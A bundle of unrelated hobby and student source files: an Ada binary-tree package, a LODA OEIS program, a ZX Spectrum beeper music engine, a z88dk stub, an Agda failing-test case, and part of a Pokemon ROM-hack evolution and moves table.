1A/S5/PIM/projet/src/arbre_binaire.adb | MOUDDENEHamza/ENSEEIHT | 4 | 420 | <filename>1A/S5/PIM/projet/src/arbre_binaire.adb
--------------------------------------------------------------------------------
-- Fichier : arbre_binaire.adb
-- Auteur : <NAME> & <NAME>
-- Objectif : Implantation du module Arbre_Binaire.
-- Créé : <NAME> 25 2019
--------------------------------------------------------------------------------
with Ada.Unchecked_Deallocation;
package body Arbre_Binaire is
----------------------------------Constuctor--------------------------------
-- Initialiser Tree. Tree est vide.
procedure Initialize (Tree: out T_BT) is
begin
Tree := Null;
end Initialize;
-----------------------------------Getters----------------------------------
-- Obtenir Γ l'DATA de la racine de Tree.
function Get_Data (Tree : in T_BT) return T_DATA is
begin
return Tree.all.Data;
end Get_DATA;
-- Obtenir Γ le sous arbre gauche de Tree.
function Get_Left (Tree : in T_BT) return T_BT is
begin
return Tree.all.Left;
end Get_Left;
-- Obtenir Γ le sous arbre droit de Tree.
function Get_Right (Tree : in T_BT) return T_BT is
begin
return Tree.all.Right;
end Get_Right;
-----------------------------------Setters----------------------------------
-- Modifier l'DATA de la racine de Tree.
procedure Set_Data (Tree : in T_BT; Data : in T_DATA) is
begin
Tree.all.Data := Data;
end Set_DATA;
-- Modifier le sous arbre gauche de Tree.
procedure Set_Left (Tree, Left : in T_BT) is
begin
Tree.all.Left := Left;
end Set_Left;
-- Modifier le sous arbre droit de Tree.
procedure Set_Right (Tree, Right : in T_BT) is
begin
Tree.all.Right := Right;
end Set_Right;
----------------------------------------------------------------------------
-- LibΓ©rer la mΓ©moire.
procedure Free is
new Ada.Unchecked_Deallocation (Object => T_Node, Name => T_BT);
-- Est-ce qu'un Tree est vDATAe ?
function Is_Empty (Tree : T_BT) return Boolean is
begin
return (Tree = Null);
end Is_Empty;
-- Obtenir le nombre d'Γ©lΓ©ments d'un Tree.
function Height (Tree : in T_BT) return Integer is
begin
if Is_Empty (Tree) then
return 0;
else
return 1 + Height (Tree.all.Left) + Height (Tree.all.Right);
end if;
end Height;
-- Vérifier qu'un DATA passé en paramètre est dans l'arbre.
function Is_Present (Tree : in T_BT; DATA : in T_DATA) return Boolean is
begin
if (Is_Empty (Tree)) then
return False;
elsif (Get_DATA (Tree) = DATA) then
return True;
else
return Is_Present (Get_Left (Tree), DATA) or Is_Present (Get_Right (Tree), DATA);
end if;
end Is_Present;
-- Obtenir la profondeur d'un Tree.
function Depth (Tree : in T_BT) return Integer is
-- Nom : max
-- SΓ©mantique : Obtenir le max de deux entiers.
-- Paramètres :
-- a -- L'Γ©lement qu'on va comparer avec b.
-- b -- L'Γ©lement qu'on va comparer avec a.
function max (a, b : in Integer) return Integer is
begin
if (a > b) then
return a;
else
return b;
end if;
end max;
begin
if (Is_Empty (Tree)) then
return 0;
else
return 1 + max (depth (Get_Left (Tree)), depth (Get_Right (Tree)));
end if;
end Depth;
-- CrΓ©er un arbre avec un seul noeud.
procedure Create_Node (Node : out T_BT; DATA : T_DATA) is
begin
Node := New T_Node'(DATA, Null, Null);
end Create_Node;
-- InsΓ©rer un DATA associΓ© Γ un nouveau noeud dans Tree.
procedure Insert (Tree : in out T_BT ; DATA : T_DATA) is
begin
if (Is_Empty(Tree)) then
Create_Node (Tree, DATA);
elsif (Tree.all.DATA = DATA) then
raise PRESENT_DATA_EXCEPTION;
elsif (gt (Tree.all.DATA, DATA)) then -- Tree.all. DATA > DATA
Insert(Tree.all.Left, DATA);
elsif (gt (DATA, Tree.all.DATA)) then
Insert(Tree.all.Right, DATA);
end if;
end Insert;
-- Supprimer tous les Γ©lΓ©ments d'un Tree.
procedure Destruct (Tree : in out T_BT) is
begin
if Is_Empty (Tree) then
Null;
else
Destruct (Tree.all.Left);
Destruct (Tree.all.Right);
Free (Tree);
end if;
end Destruct;
-- Afficher un Tree dans l'ordre croissant des DATAs.
procedure Display (Tree : in T_BT) is
begin
if (not Is_Empty (Tree)) then
Display (Tree.all.Left);
Display_DATA (Tree.all.DATA);
Display (Tree.all.Right);
end if;
end Display;
end Arbre_Binaire;
|
oeis/180/A180664.asm | neoneye/loda-programs | 11 | 94221 | ; A180664: Golden Triangle sums: a(n) = a(n-1) + A001654(n+1) with a(0)=0.
; Submitted by <NAME>
; 0,2,8,23,63,167,440,1154,3024,7919,20735,54287,142128,372098,974168,2550407,6677055,17480759,45765224,119814914,313679520,821223647,2149991423,5628750623,14736260448,38580030722,101003831720
mov $2,1
mov $3,$0
mov $4,1
lpb $3
add $1,$2
cmp $4,0
add $2,$4
add $2,$1
sub $3,1
lpe
add $1,$2
mov $0,$1
sub $0,1
|
anteater/main.asm | bushy555/ZX-Spectrum-1-Bit-Routines | 59 | 17862 | ;AntEater - ZX Spectrum beeper engine
;by utz 08'2014
org #8000
init
di
ld hl,musicdata
ld (OrderPntr),hl
call readOrder
jr z,init
xor a
out (#fe),a
ld hl,#2758 ;restore alternative HL to default value
exx
ei
ret
;**************************************************************************************************
readOrder
ld hl,(OrderPntr) ;get order pointer
ld e,(hl) ;read pnt pointer
inc hl
ld d,(hl)
inc hl
ld (OrderPntr),hl
ld a,d ;if pattern pointer = #0000, end of song reached
or e
ret z
ld (PtnPntr),de
;**************************************************************************************************
readPtn
in a,(#fe)
cpl
and #1f
ret nz
ld a,#10
ld (switch1),a
ld (switch2),a
ld hl,(PtnPntr)
ld a,(hl) ;check for pattern end
cp #ff
jr z,readOrder
ld a,(hl)
and %11111100 ;mask lowest 2 bits
ld b,a ;speed
ld c,b
ld a,(hl)
and %00000011
or a ;if !=0, we have drum
call nz,drums
drdata
inc hl
xor a
ld d,(hl) ;counter ch2
ld e,d
push hl
ld h,#10 ;output mask ch2
or d
jr nz,rdskip1
ld h,a ;mute if note byte = 0
rdskip1
ld l,h ;swap mask
exx
pop hl
inc hl
ld b,(hl) ;counter A
or b
jr nz,rdskip2
ld (switch1),a
ld (switch2),a
rdskip2
ld c,b ;backup counter A/B
ld d,b ;counter B
inc hl
ld (PtnPntr),hl
ld hl,#1000 ;output mask ch1
exx
;**************************************************************************************************
play
ld a,h ;4 ;load output mask ch2
exx ;4
dec b ;4 ;dec counter A
out (#fe),a ;11 ;output ch2
jr nz,wait1 ;12/7
ld a,h ;4 ;flip output mask and restore counter
switch1 equ $+1 ;mute switch
xor #10 ;7
ld h,a ;4
ld b,c ;4
skip1
dec d ;4 ;dec counter B
ld a,l ;4 ;load output mask ch1
jr nz,wait2 ;12/7
ld d,c ;4 ;restore counter
switch2 equ $+1 ;mute switch
xor #10 ;7 ;swap output mask
ld l,a ;4
rra ;4 ;increment counter to create pwm effect if output mask = #10
rra ;4
rra ;4
rra ;4
add a,d ;4
ld d,a ;4
skip2
ld a,l ;4
and h ;4 ;combine output masks
out (#fe),a ;11 ;output ch1
exx ;4
dec d ;4 ;decrement counter ch1
jp nz,wait3 ;10
ld d,e ;4 ;restore counter
ld a,h ;4 ;swap output mask
xor l ;4
ld h,a ;4
skip3
dec bc ;6 ;decrement speed counter
ld a,b ;4
or c ;4
nop ;4 ;take care of IO contention
jp nz,play ;10
;184
jr readPtn
;**************************************************************************************************
wait1
nop ;4
jp skip1 ;10
wait2
sla (hl) ;15
sla (hl) ;15
nop ;4
jr skip2 ;12
;46
;ld (hl),b ;7 ;why on earth I can't read the keyboard here
;in a,(#fe) ;11 ;is a mystery to me.
;cpl ;4
;and #1f ;7
;ret nz ;11/5
;jr skip2 ;12
wait3
nop ;4
jr skip3 ;12
;**************************************************************************************************
drums
push hl
dec a
ld hl,switch2
ld d,#fd
jr z,drum2
dec a
ld d,#bf
ld hl,drdata+7
jr z,drumloop3
drum1
ld hl,drdata
ld a,c ;timing correction
sub #c2
ld c,a
jr nc,tskip1
dec b
tskip1
push bc
ld b,12
drum1a
ld a,#10
out (#fe),a
ld a,(hl)
drumloop1
dec a
jr nz,drumloop1
out (#fe),a
ld a,(hl)
drumloop2
dec a
jr nz,drumloop2
inc hl
djnz drum1a
jr drumret
drum2
dec b ;timing correction
ld a,#d9
ld (switch3),a ;modify end marker value
drumloop3
ld a,c ;timing correction
sub d
jr nc,tskip2
dec b
tskip2
push bc
drumloop30
ld a,#10
out (#fe),a
switch3 equ $+1
ld a,6
ld b,(hl)
xor b
jr z,drumret
dl3a
push hl
pop hl
djnz dl3a
xor a
out (#fe),a
ld b,(hl)
dl3b
push hl
pop hl
djnz dl3b
inc hl
jr drumloop30
ld a,6
ld (switch3),a
drumret
pop bc
pop hl
ret
;**************************************************************************************************
OrderPntr
dw 0
PtnPntr
dw 0
musicdata
include "music.asm"
|
libsrc/_DEVELOPMENT/string/c/sdcc_iy/strlwr_fastcall.asm | jpoikela/z88dk | 640 | 163271 | <filename>libsrc/_DEVELOPMENT/string/c/sdcc_iy/strlwr_fastcall.asm
; char *strlwr_fastcall(char *s)
SECTION code_clib
SECTION code_string
PUBLIC _strlwr_fastcall
EXTERN asm_strlwr
defc _strlwr_fastcall = asm_strlwr
|
test/Fail/Issue4401.agda | shlevy/agda | 1,989 | 2882 | <gh_stars>1000+
{-# OPTIONS --cumulativity #-}
open import Agda.Builtin.Equality
mutual
_X : (Set β Set) β Setβ β Set
_X f x = _
test : (f : Setβ β Set) (x : Setβ) β _X f x β‘ f x
test f x = refl
Set' : Set
Set' = _X (Ξ» X β X) Set
|
TP3/Alf.g4 | UPB-FILS-ALF/TP | 0 | 3433 | grammar Alf;
prog:;
NEWLINE : ([\r\n]+);
INT : ([0-9]+);
/* Exercice 5 */
WORD : ([A-Za-z]+);
PONCTUATION : ([,.?!:;']+);
WS : ([ ]+); |
duel-soundfx.asm | LeifBloomquist/ArtilleryDuel | 1 | 27516 | ; Sound Effects
;------------------------------------------------------------------------------
; Setup - clear sound chip and set maximum volume!
SOUND_SETUP
ldx #$00
txa
SETUP1
sta $d400,x
inx
cpx #$19
bne SETUP1
lda #$0f
sta $d418
rts
;------------------------------------------------------------------------------
; Fire Cannon - use Voice 1
SOUND_FIRE
lda #$0f
sta $d418
lda #$00
sta $d405
lda #$0A
sta $d406
lda #$05
sta $d401
lda power
sta $d400
lda #$81
sta $d404
lda #$80
sta $d404
rts
;------------------------------------------------------------------------------
; Hit the Ground - use Voice 2
SOUND_MISSED
lda #$0f
sta $d418
lda #$0f
sta $d40c
lda #$0B
sta $d40d
lda #$02
sta $d408
lda #$00
sta $d407
lda #$81
sta $d40b
lda #$80
sta $d40b
rts
;------------------------------------------------------------------------------
; Move turret - use Voice 1 Don't use A as we're inside joystick routine.
SOUND_TURRET
ldx #$00
stx $d405
ldx #$f8
stx $d406
ldx #$03
stx $d401
ldx #$00
stx $d400
ldx #$21
stx $d404
ldx #$20
stx $d404
rts
------------------------------------------------------------------------------
; Out of bounds swish - use Voice 2
SOUND_BOUNDS
lda #$0f
sta $d40c
lda #$0B
sta $d40d
lda #$10
sta $d408
lda #$00
sta $d407
lda #$81
sta $d40b
lda #$80
sta $d40b
rts
;------------------------------------------------------------------------------
; Direct Hit!! - use Voice 2
SOUND_DIRECT
lda #$0f
sta $d418
lda #$0f
sta $d40c
lda #$0B
sta $d40d
lda #$01
sta $d408
lda #$00
sta $d407
lda #$81
sta $d40b
lda #$80
sta $d40b
rts
;------------------------------------------------------------------------------
; Incoming chat message - voice 2
SOUND_CHAT
lda #$0f
sta $d418
lda #$01
sta $d40c
lda #$07
sta $d40d
lda #$30
sta $d408
lda #$00
sta $d407
lda #$11
sta $d40b
lda #$10
sta $d40b
rts
|
data/pokemon/evos_attacks_sinnoh.asm | AtmaBuster/pokeplat-gen2 | 6 | 11009 | <reponame>AtmaBuster/pokeplat-gen2<filename>data/pokemon/evos_attacks_sinnoh.asm<gh_stars>1-10
SECTION "Evolutions and Attacks 4", ROMX
EvosAttacksPointers4::
dw TurtwigEvosAttacks
dw GrotleEvosAttacks
dw TorterraEvosAttacks
dw ChimcharEvosAttacks
dw MonfernoEvosAttacks
dw InfernapeEvosAttacks
dw PiplupEvosAttacks
dw PrinplupEvosAttacks
dw EmpoleonEvosAttacks
dw StarlyEvosAttacks
dw StaraviaEvosAttacks
dw StaraptorEvosAttacks
dw BidoofEvosAttacks
dw BibarelEvosAttacks
dw KricketotEvosAttacks
dw KricketuneEvosAttacks
dw ShinxEvosAttacks
dw LuxioEvosAttacks
dw LuxrayEvosAttacks
dw BudewEvosAttacks
dw RoseradeEvosAttacks
dw CranidosEvosAttacks
dw RampardosEvosAttacks
dw ShieldonEvosAttacks
dw BastiodonEvosAttacks
dw BurmyEvosAttacks
dw WormadamEvosAttacks
dw MothimEvosAttacks
dw CombeeEvosAttacks
dw VespiquenEvosAttacks
dw PachirisuEvosAttacks
dw BuizelEvosAttacks
dw FloatzelEvosAttacks
dw CherubiEvosAttacks
dw CherrimEvosAttacks
dw ShellosEvosAttacks
dw GastrodonEvosAttacks
dw AmbipomEvosAttacks
dw DrifloonEvosAttacks
dw DrifblimEvosAttacks
dw BunearyEvosAttacks
dw LopunnyEvosAttacks
dw MismagiusEvosAttacks
dw HonchkrowEvosAttacks
dw GlameowEvosAttacks
dw PuruglyEvosAttacks
dw ChinglingEvosAttacks
dw StunkyEvosAttacks
dw SkuntankEvosAttacks
dw BronzorEvosAttacks
dw BronzongEvosAttacks
dw BonslyEvosAttacks
dw MimeJrEvosAttacks
dw HappinyEvosAttacks
dw ChatotEvosAttacks
dw SpiritombEvosAttacks
dw GibleEvosAttacks
dw GabiteEvosAttacks
dw GarchompEvosAttacks
dw MunchlaxEvosAttacks
dw RioluEvosAttacks
dw LucarioEvosAttacks
dw HippopotasEvosAttacks
dw HippowdonEvosAttacks
dw SkorupiEvosAttacks
dw DrapionEvosAttacks
dw CroagunkEvosAttacks
dw ToxicroakEvosAttacks
dw CarnivineEvosAttacks
dw FinneonEvosAttacks
dw LumineonEvosAttacks
dw MantykeEvosAttacks
dw SnoverEvosAttacks
dw AbomasnowEvosAttacks
dw WeavileEvosAttacks
dw MagnezoneEvosAttacks
dw LickilickyEvosAttacks
dw RhyperiorEvosAttacks
dw TangrowthEvosAttacks
dw ElectivireEvosAttacks
dw MagmortarEvosAttacks
dw TogekissEvosAttacks
dw YanmegaEvosAttacks
dw LeafeonEvosAttacks
dw GlaceonEvosAttacks
dw GliscorEvosAttacks
dw MamoswineEvosAttacks
dw PorygonZEvosAttacks
dw GalladeEvosAttacks
dw ProbopassEvosAttacks
dw DusknoirEvosAttacks
dw FroslassEvosAttacks
dw RotomEvosAttacks
dw UxieEvosAttacks
dw MespritEvosAttacks
dw AzelfEvosAttacks
dw DialgaEvosAttacks
dw PalkiaEvosAttacks
dw HeatranEvosAttacks
dw RegigigasEvosAttacks
dw GiratinaEvosAttacks
dw CresseliaEvosAttacks
dw PhioneEvosAttacks
dw ManaphyEvosAttacks
dw DarkraiEvosAttacks
dw ShayminEvosAttacks
dw ArceusEvosAttacks
TurtwigEvosAttacks:
dbbw EVOLVE_LEVEL, 18, GROTLE
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 5, WITHDRAW
dbw 9, ABSORB
dbw 13, RAZOR_LEAF
dbw 17, CURSE
dbw 21, BITE
dbw 25, MEGA_DRAIN
dbw 29, LEECH_SEED
dbw 33, SYNTHESIS
dbw 37, CRUNCH
dbw 41, GIGA_DRAIN
dbw 45, LEAF_STORM
db 0 ; no more level-up moves
GrotleEvosAttacks:
dbbw EVOLVE_LEVEL, 32, TORTERRA
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, WITHDRAW
dbw 5, WITHDRAW
dbw 9, ABSORB
dbw 13, RAZOR_LEAF
dbw 17, CURSE
dbw 22, BITE
dbw 27, MEGA_DRAIN
dbw 32, LEECH_SEED
dbw 37, SYNTHESIS
dbw 42, CRUNCH
dbw 47, GIGA_DRAIN
dbw 52, LEAF_STORM
db 0 ; no more level-up moves
TorterraEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, ABSORB
dbw 1, RAZOR_LEAF
dbw 1, WITHDRAW
dbw 1, WOOD_HAMMER
dbw 5, WITHDRAW
dbw 9, ABSORB
dbw 13, RAZOR_LEAF
dbw 17, CURSE
dbw 22, BITE
dbw 27, MEGA_DRAIN
dbw 32, EARTHQUAKE
dbw 33, LEECH_SEED
dbw 39, SYNTHESIS
dbw 45, CRUNCH
dbw 51, GIGA_DRAIN
dbw 57, LEAF_STORM
db 0 ; no more level-up moves
ChimcharEvosAttacks:
dbbw EVOLVE_LEVEL, 14, MONFERNO
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, LEER
dbw 7, EMBER
dbw 9, TAUNT
dbw 15, FURY_SWIPES
dbw 17, FLAME_WHEEL
dbw 23, NASTY_PLOT
dbw 25, TORMENT
dbw 31, FACADE
dbw 33, FIRE_SPIN
dbw 39, SLACK_OFF
dbw 41, FLAMETHROWER
db 0 ; no more level-up moves
MonfernoEvosAttacks:
dbbw EVOLVE_LEVEL, 36, INFERNAPE
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, LEER
dbw 1, EMBER
dbw 7, EMBER
dbw 9, TAUNT
dbw 14, MACH_PUNCH
dbw 16, FURY_SWIPES
dbw 19, FLAME_WHEEL
dbw 26, FEINT
dbw 29, TORMENT
dbw 36, CLOSE_COMBAT
dbw 39, FIRE_SPIN
dbw 46, SLACK_OFF
dbw 49, FLARE_BLITZ
db 0 ; no more level-up moves
InfernapeEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, LEER
dbw 1, EMBER
dbw 1, TAUNT
dbw 7, EMBER
dbw 9, TAUNT
dbw 14, MACH_PUNCH
dbw 17, FURY_SWIPES
dbw 21, FLAME_WHEEL
dbw 29, FEINT
dbw 33, PUNISHMENT
dbw 41, CLOSE_COMBAT
dbw 45, FIRE_SPIN
dbw 53, CALM_MIND
dbw 57, FLARE_BLITZ
db 0 ; no more level-up moves
PiplupEvosAttacks:
dbbw EVOLVE_LEVEL, 16, PRINPLUP
db 0 ; no more evolutions
dbw 1, POUND
dbw 4, GROWL
dbw 8, BUBBLE
dbw 11, WATER_SPORT
dbw 15, PECK
dbw 18, BUBBLEBEAM
dbw 22, BIDE
dbw 25, FURY_ATTACK
dbw 29, BRINE
dbw 32, WHIRLPOOL
dbw 36, MIST
dbw 39, DRILL_PECK
dbw 43, HYDRO_PUMP
db 0 ; no more level-up moves
PrinplupEvosAttacks:
dbbw EVOLVE_LEVEL, 36, EMPOLEON
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 4, GROWL
dbw 8, BUBBLE
dbw 11, WATER_SPORT
dbw 15, PECK
dbw 16, METAL_CLAW
dbw 19, BUBBLEBEAM
dbw 24, BIDE
dbw 28, FURY_ATTACK
dbw 33, BRINE
dbw 37, WHIRLPOOL
dbw 42, MIST
dbw 46, DRILL_PECK
dbw 51, HYDRO_PUMP
db 0 ; no more level-up moves
EmpoleonEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 1, BUBBLE
dbw 4, GROWL
dbw 8, BUBBLE
dbw 11, SWORDS_DANCE
dbw 15, PECK
dbw 16, METAL_CLAW
dbw 19, BUBBLEBEAM
dbw 24, SWAGGER
dbw 28, FURY_ATTACK
dbw 33, BRINE
dbw 36, AQUA_JET
dbw 39, WHIRLPOOL
dbw 46, MIST
dbw 52, DRILL_PECK
dbw 59, HYDRO_PUMP
db 0 ; no more level-up moves
StarlyEvosAttacks:
dbbw EVOLVE_LEVEL, 34, STARAVIA
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 5, QUICK_ATTACK
dbw 9, WING_ATTACK
dbw 13, DOUBLE_TEAM
dbw 17, ENDEAVOR
dbw 21, WHIRLWIND
dbw 25, AERIAL_ACE
dbw 29, TAKE_DOWN
dbw 33, AGILITY
dbw 37, BRAVE_BIRD
db 0 ; no more level-up moves
StaraviaEvosAttacks:
dbbw EVOLVE_LEVEL, 34, STARAPTOR
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 1, QUICK_ATTACK
dbw 5, QUICK_ATTACK
dbw 9, WING_ATTACK
dbw 13, DOUBLE_TEAM
dbw 18, ENDEAVOR
dbw 23, WHIRLWIND
dbw 28, AERIAL_ACE
dbw 33, TAKE_DOWN
dbw 38, AGILITY
dbw 43, BRAVE_BIRD
db 0 ; no more level-up moves
StaraptorEvosAttacks:
db 0 ; no more evolutions
dbw 1, WING_ATTACK
dbw 1, TACKLE
dbw 1, GROWL
dbw 1, QUICK_ATTACK
dbw 5, QUICK_ATTACK
dbw 9, WING_ATTACK
dbw 13, DOUBLE_TEAM
dbw 18, ENDEAVOR
dbw 23, WHIRLWIND
dbw 28, AERIAL_ACE
dbw 33, TAKE_DOWN
dbw 34, CLOSE_COMBAT
dbw 41, AGILITY
dbw 49, BRAVE_BIRD
db 0 ; no more level-up moves
BidoofEvosAttacks:
dbbw EVOLVE_LEVEL, 15, BIBAREL
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 5, GROWL
dbw 9, DEFENSE_CURL
dbw 13, ROLLOUT
dbw 17, HEADBUTT
dbw 21, HYPER_FANG
dbw 25, YAWN
dbw 29, AMNESIA
dbw 33, TAKE_DOWN
dbw 37, SUPER_FANG
dbw 41, SUPERPOWER
dbw 45, CURSE
db 0 ; no more level-up moves
BibarelEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 5, GROWL
dbw 9, DEFENSE_CURL
dbw 13, ROLLOUT
dbw 15, WATER_GUN
dbw 18, HEADBUTT
dbw 23, HYPER_FANG
dbw 28, YAWN
dbw 33, AMNESIA
dbw 38, TAKE_DOWN
dbw 43, SUPER_FANG
dbw 48, SUPERPOWER
dbw 53, CURSE
db 0 ; no more level-up moves
KricketotEvosAttacks:
dbbw EVOLVE_LEVEL, 10, KRICKETUNE
db 0 ; no more evolutions
dbw 1, GROWL
dbw 1, BIDE
dbw 16, BUG_BITE
db 0 ; no more level-up moves
KricketuneEvosAttacks:
db 0 ; no more evolutions
dbw 1, GROWL
dbw 1, BIDE
dbw 10, FURY_CUTTER
dbw 14, LEECH_LIFE
dbw 18, SING
dbw 22, FOCUS_ENERGY
dbw 26, SLASH
dbw 30, X_SCISSOR
dbw 34, SCREECH
dbw 38, TAUNT
dbw 42, NIGHT_SLASH
dbw 46, BUG_BUZZ
dbw 50, PERISH_SONG
db 0 ; no more level-up moves
ShinxEvosAttacks:
dbbw EVOLVE_LEVEL, 15, LUXIO
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 5, LEER
dbw 9, CHARGE
dbw 13, SPARK
dbw 17, BITE
dbw 21, ROAR
dbw 25, SWAGGER
dbw 29, THUNDER_FANG
dbw 33, CRUNCH
dbw 37, SCARY_FACE
dbw 41, DISCHARGE
db 0 ; no more level-up moves
LuxioEvosAttacks:
dbbw EVOLVE_LEVEL, 30, LUXRAY
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, LEER
dbw 5, LEER
dbw 9, CHARGE
dbw 13, SPARK
dbw 18, BITE
dbw 23, ROAR
dbw 28, SWAGGER
dbw 33, THUNDER_FANG
dbw 38, CRUNCH
dbw 43, SCARY_FACE
dbw 48, DISCHARGE
db 0 ; no more level-up moves
LuxrayEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, LEER
dbw 1, CHARGE
dbw 5, LEER
dbw 9, CHARGE
dbw 13, SPARK
dbw 18, BITE
dbw 23, ROAR
dbw 28, SWAGGER
dbw 35, THUNDER_FANG
dbw 42, CRUNCH
dbw 49, SCARY_FACE
dbw 56, DISCHARGE
db 0 ; no more level-up moves
BudewEvosAttacks:
dbbw EVOLVE_HAPPINESS, TR_MORNDAY, ROSELIA
db 0 ; no more evolutions
dbw 1, ABSORB
dbw 4, GROWTH
dbw 7, WATER_SPORT
dbw 10, STUN_SPORE
dbw 13, MEGA_DRAIN
dbw 16, WORRY_SEED
db 0 ; no more level-up moves
RoseradeEvosAttacks:
db 0 ; no more evolutions
dbw 1, POISON_STING
dbw 1, MEGA_DRAIN
dbw 1, SWEET_SCENT
dbw 1, WEATHER_BALL
dbw 1, MAGICAL_LEAF
db 0 ; no more level-up moves
CranidosEvosAttacks:
dbbw EVOLVE_LEVEL, 30, RAMPARDOS
db 0 ; no more evolutions
dbw 1, HEADBUTT
dbw 1, LEER
dbw 6, FOCUS_ENERGY
dbw 10, PURSUIT
dbw 15, TAKE_DOWN
dbw 19, SCARY_FACE
dbw 24, ASSURANCE
dbw 28, ANCIENTPOWER
dbw 33, ZEN_HEADBUTT
dbw 37, SCREECH
dbw 43, HEAD_SMASH
db 0 ; no more level-up moves
RampardosEvosAttacks:
db 0 ; no more evolutions
dbw 1, HEADBUTT
dbw 1, LEER
dbw 6, FOCUS_ENERGY
dbw 10, PURSUIT
dbw 15, TAKE_DOWN
dbw 19, SCARY_FACE
dbw 24, ASSURANCE
dbw 28, ANCIENTPOWER
dbw 30, ENDEAVOR
dbw 36, ZEN_HEADBUTT
dbw 43, SCREECH
dbw 52, HEAD_SMASH
db 0 ; no more level-up moves
ShieldonEvosAttacks:
dbbw EVOLVE_LEVEL, 30, BASTIODON
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, PROTECT
dbw 6, TAUNT
dbw 10, METAL_SOUND
dbw 15, TAKE_DOWN
dbw 19, IRON_DEFENSE
dbw 24, SWAGGER
dbw 28, ANCIENTPOWER
dbw 33, ENDURE
dbw 37, METAL_BURST
dbw 43, IRON_HEAD
db 0 ; no more level-up moves
BastiodonEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, PROTECT
dbw 1, TAUNT
dbw 1, METAL_SOUND
dbw 6, TAUNT
dbw 10, METAL_SOUND
dbw 15, TAKE_DOWN
dbw 19, IRON_DEFENSE
dbw 24, SWAGGER
dbw 28, ANCIENTPOWER
dbw 30, BLOCK
dbw 36, ENDURE
dbw 43, METAL_BURST
dbw 52, IRON_HEAD
db 0 ; no more level-up moves
BurmyEvosAttacks:
dbbw EVOLVE_LEVEL_AND_FEMALE, 20, WORMADAM
dbbw EVOLVE_LEVEL_AND_MALE, 20, MOTHIM
db 0 ; no more evolutions
dbw 1, PROTECT
dbw 10, TACKLE
dbw 15, BUG_BITE
dbw 20, HIDDEN_POWER
db 0 ; no more level-up moves
WormadamEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 10, PROTECT
dbw 15, BUG_BITE
dbw 20, HIDDEN_POWER
dbw 23, CONFUSION
dbw 26, RAZOR_LEAF
dbw 29, GROWTH
dbw 32, PSYBEAM
dbw 35, CAPTIVATE
dbw 38, FLAIL
dbw 41, ATTRACT
dbw 44, PSYCHIC_M
dbw 47, LEAF_STORM
db 0 ; no more level-up moves
MothimEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 10, PROTECT
dbw 15, BUG_BITE
dbw 20, HIDDEN_POWER
dbw 23, CONFUSION
dbw 26, GUST
dbw 29, POISONPOWDER
dbw 32, PSYBEAM
dbw 35, CAMOUFLAGE
dbw 38, SILVER_WIND
dbw 41, AIR_SLASH
dbw 44, PSYCHIC_M
dbw 47, BUG_BUZZ
db 0 ; no more level-up moves
CombeeEvosAttacks:
dbbw EVOLVE_LEVEL_AND_FEMALE, 21, VESPIQUEN
db 0 ; no more evolutions
dbw 1, GUST
dbw 1, SWEET_SCENT
dbw 13, BUG_BITE
db 0 ; no more level-up moves
VespiquenEvosAttacks:
db 0 ; no more evolutions
dbw 1, GUST
dbw 1, SWEET_SCENT
dbw 3, POISON_STING
dbw 7, CONFUSE_RAY
dbw 9, FURY_CUTTER
dbw 13, DEFEND_ORDER
dbw 15, PURSUIT
dbw 19, FURY_SWIPES
dbw 21, POWER_GEM
dbw 25, HEAL_ORDER
dbw 27, TOXIC
dbw 31, SLASH
dbw 33, CAPTIVATE
dbw 37, ATTACK_ORDER
dbw 39, SWAGGER
dbw 43, DESTINY_BOND
db 0 ; no more level-up moves
PachirisuEvosAttacks:
db 0 ; no more evolutions
dbw 1, GROWL
dbw 1, BIDE
dbw 5, QUICK_ATTACK
dbw 9, CHARM
dbw 13, SPARK
dbw 17, ENDURE
dbw 21, SWIFT
dbw 25, SWEET_KISS
dbw 29, DISCHARGE
dbw 33, SUPER_FANG
dbw 37, LAST_RESORT
db 0 ; no more level-up moves
BuizelEvosAttacks:
dbbw EVOLVE_LEVEL, 26, FLOATZEL
db 0 ; no more evolutions
dbw 1, GROWL
dbw 1, SONICBOOM
dbw 1, WATER_SPORT
dbw 3, QUICK_ATTACK
dbw 6, WATER_GUN
dbw 10, PURSUIT
dbw 15, SWIFT
dbw 21, AQUA_JET
dbw 28, AGILITY
dbw 36, WHIRLPOOL
dbw 45, RAZOR_WIND
db 0 ; no more level-up moves
FloatzelEvosAttacks:
db 0 ; no more evolutions
dbw 1, GROWL
dbw 1, SONICBOOM
dbw 1, QUICK_ATTACK
dbw 1, WATER_SPORT
dbw 1, ICE_FANG
dbw 3, QUICK_ATTACK
dbw 6, WATER_GUN
dbw 10, PURSUIT
dbw 15, SWIFT
dbw 21, AQUA_JET
dbw 26, CRUNCH
dbw 29, AGILITY
dbw 39, WHIRLPOOL
dbw 50, RAZOR_WIND
db 0 ; no more level-up moves
CherubiEvosAttacks:
dbbw EVOLVE_LEVEL, 25, CHERUBI
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 7, GROWTH
dbw 10, LEECH_SEED
dbw 13, HELPING_HAND
dbw 19, MAGICAL_LEAF
dbw 22, SUNNY_DAY
dbw 28, WORRY_SEED
dbw 31, TAKE_DOWN
dbw 37, SOLARBEAM
dbw 40, LUCKY_CHANT
db 0 ; no more level-up moves
CherrimEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWTH
